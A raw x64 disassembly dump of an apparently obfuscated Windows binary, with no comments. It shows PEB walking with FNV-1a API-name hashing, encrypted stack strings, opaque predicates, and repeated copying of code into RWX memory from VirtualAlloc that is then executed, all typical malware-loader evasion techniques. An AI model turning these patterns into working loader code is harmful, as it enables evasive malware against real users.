movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x18], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x18]
test eax, eax
je 0x14012c457
mov rdx, qword [0x14037cdf0]
test rdx, rdx
jne 0x14012c441
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14012c3bb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012c3b2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012c3a3
cmp edx, esi
jne 0x14012c422
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012c422
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012c41f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012c407
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012c3fc
cmp edx, r14d
je 0x14012c533
test r11d, r11d
jne 0x14012c3e7
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14012c437
cmp qword [rax + 0x30], r11
jne 0x14012c378
mov rdx, r11
mov qword [0x14037cdf0], rdx
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
lea r12d, [r13*2]
add r12d, r13d
mov ebx, dword [rbp - 0x78]
lea r9d, [r12 + rbx]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c73a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, qword [rbp + 0x48]
and eax, 1
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c5a9
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012c5a9
mov dword [rbp - 0x14], 1
jmp 0x14012c603
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012c43a
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012c43a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14012c57d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012c56f
inc rdx
xor r11d, r11d
jmp 0x14012c59b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012c58b
mov rbx, qword [r15]
jmp 0x14012c422
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c603
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
lea eax, [rax + r13*8]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x14]
test eax, eax
je 0x14012c73a
mov rdx, qword [0x14037cdf0]
test rdx, rdx
jne 0x14012c72c
mov esi, r11d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14012c6a3
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012c69a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012c68b
cmp edx, esi
jne 0x14012c70a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012c70a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14012c707
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012c6ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14012c6e4
cmp edx, r14d
je 0x14012c988
test r11d, r11d
jne 0x14012c6cf
xor r11d, r11d
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14012c71f
cmp qword [rax + 0x30], r11
jne 0x14012c660
mov rdx, r11
mov qword [0x14037cdf0], rdx
mov ebx, dword [rbp - 0x78]
mov ecx, 0x992b
call rdx
mov ecx, 0x992b
int 0x29
mov dword [rsp + 0x60], 0xe7e4f406
mov dword [rsp + 0x64], 0x1df208e5
mov dword [rsp + 0x68], 0x63fff8ea
xor eax, eax
mov qword [rsp + 0x6c], rax
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x106958abc3dc3072
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1e
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x14
jb 0x14012c766
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
or r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012c7d3
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140039338
nop
mov dword [rsp + 0x30], 0x35323e33
mov dword [rsp + 0x34], 0x8d91493d
mov dword [rsp + 0x38], 0x4f4c4588
mov byte [rsp + 0x3c], 0xda
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x392abcf372ab3a3b
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x63
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x14012c822
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012c88b
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140039338
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1400d6174
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x80]
call rax
nop
mov rdx, qword [rbp - 0x38]
mov edi, 0x1000
cmp rdx, 0xf
jbe 0x14012c8fb
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x14012c8f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012ca1a
call fcn.14015a4ac
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], r14b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14012c942
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x14012c93d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012ca21
call fcn.14015a4ac
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], r14b
mov ecx, dword [rbp - 0x10]
inc ecx
mov dword [rbp - 0x10], ecx
cmp ecx, 0xc8
mov esi, 3
jl 0x14012b3b7
mov r10d, dword [rsp + 0x50]
inc r10d
mov dword [rsp + 0x50], r10d
lea r9d, [r13*2]
add r9d, r13d
jmp 0x14012b292
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012c722
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012c722
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14012c9d2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012c9c4
inc rdx
xor r11d, r11d
jmp 0x14012c9f0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012c9e0
mov rbx, qword [r15]
jmp 0x14012c70a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x30], 0xbb202ec3
mov dword [rsp + 0x34], 0x544d585c
mov dword [rsp + 0x38], 0x5cbf585b
mov dword [rsp + 0x3c], 0x40595e56
mov dword [rsp + 0x40], 0x49555a52
mov dword [rsp + 0x44], 0x404448aa
mov word [rsp + 0x48], 0x725b
mov byte [rsp + 0x4a], 0xfc
xor eax, eax
mov dword [rsp + 0x4b], eax
mov byte [rsp + 0x4f], al
mov qword [rsp + 0x20], r14
jmp 0x14012cab9
mov r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x2b525f3dc984ba3d
add r8, rax
mov eax, edx
and rax, r8
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r8
add cl, 0x55
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x20
jb 0x14012ca75
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012cadb
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.140039338
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0x606e7569
mov dword [rsp + 0x38], 0x673e6673
mov word [rsp + 0x3c], 0x7d7e
mov eax, 8
mov byte [rsp + 0x3e], al
xor eax, eax
mov qword [rsp + 0x3f], rax
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x14012cb75
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xafa8d16b0252fd01
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 7
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x14012cb2e
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rsp + 0x30]
inc r15
cmp byte [rax + r15], r14b
jne 0x14012cb94
mov r8, r15
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140039338
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1400df534
mov rdi, rax
lea rcx, [rbp - 0x50]
call fcn.140039610
nop
lea rcx, [rbp - 0x70]
call fcn.140039610
mov ecx, dword [rbp + 0x50]
and ecx, 0xfffffff7
or ecx, 7
mov dword [rbp + 0x50], ecx
mov r13d, 1
mov dword [rbp + 0x54], r13d
mov dword [rbp + 0x58], 7
mov dword [rbp + 0x5c], esi
mov dword [rbp + 0x60], r13d
lea r15d, [r13 + 3]
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x50]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400c2768]
mov rax, qword [0x14037ace0]
test rax, rax
je 0x14012cc87
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x14012cc76
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x37ace0]
test rax, rax
jne 0x14012cc5c
jmp 0x14012cc87
mov r10, qword [rdx + r10*8 + 0x37b000]
test r10, r10
jne 0x14012cd6b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14012ccae
mov r10, r14
jmp 0x14012cd43
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x14012ccbd
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037acd0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x37ace0], r12
mov qword [rcx + rax*8 + 0x37b000], r10
add rax, r13
mov qword [0x14037acd0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x54]
mov qword [rbp + 0x38], rax
mov eax, 8
mov dword [rsp + 0x50], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400c2768]
mov rax, qword [0x14037b330]
test rax, rax
je 0x14012ce0a
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x14012cdf9
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x37b330]
test rax, rax
jne 0x14012cddf
jmp 0x14012ce0a
mov r10, qword [rdx + r10*8 + 0x37b650]
test r10, r10
jne 0x14012ceee
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14012ce31
mov r10, r14
jmp 0x14012cec6
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14012ce40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037b320]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x37b330], r12
mov qword [rcx + rax*8 + 0x37b650], r10
add rax, r13
mov qword [0x14037b320], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x58]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 0xa
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400c2768]
mov rax, qword [0x14037b980]
test rax, rax
je 0x14012cf8c
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x14012cf7b
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x37b980]
test rax, rax
jne 0x14012cf61
jmp 0x14012cf8c
mov r10, qword [rdx + r10*8 + 0x37bca0]
test r10, r10
jne 0x14012d070
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14012cfb3
mov r10, r14
jmp 0x14012d048
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14012cfc2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037b970]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x37b980], r12
mov qword [rcx + rax*8 + 0x37bca0], r10
add rax, r13
mov qword [0x14037b970], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x5c]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rax, [rbp + 0x98]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rbx
mov qword [rax], r14
mov ecx, r14d
lea r12, [0x1400c2768]
mov rax, qword [0x14037bfd0]
test rax, rax
je 0x14012d10a
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r12
je 0x14012d0f9
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x37bfd0]
test rax, rax
jne 0x14012d0df
jmp 0x14012d10a
mov r10, qword [rdx + r10*8 + 0x37c2f0]
test r10, r10
jne 0x14012d1ee
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14012d131
mov r10, r14
jmp 0x14012d1c6
mov rax, r12
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x14012d140
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037bfc0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x37bfd0], r12
mov qword [rcx + rax*8 + 0x37c2f0], r10
add rax, r13
mov qword [0x14037bfc0], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
mov qword [rbp - 0x80], r15
lea rax, [rbp + 0x60]
mov qword [rbp + 0x38], rax
mov dword [rsp + 0x50], 9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea r12, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], rbx
mov qword [r12], r14
mov ecx, r14d
lea r15, [0x1400c2768]
mov rax, qword [0x14037c620]
test rax, rax
je 0x14012d28d
mov r10, r14
lea rdx, [0x140000000]
cmp rax, r15
je 0x14012d27c
add ecx, r13d
mov r10d, ecx
mov rax, qword [rdx + rcx*8 + 0x37c620]
test rax, rax
jne 0x14012d262
jmp 0x14012d28d
mov r10, qword [rdx + r10*8 + 0x37c940]
test r10, r10
jne 0x14012d36d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14012d2b4
mov r10, r14
jmp 0x14012d345
mov rax, r15
mov rcx, r10
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub rsi, 1
jne 0x14012d2bf
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037c610]
lea rcx, [0x140000000]
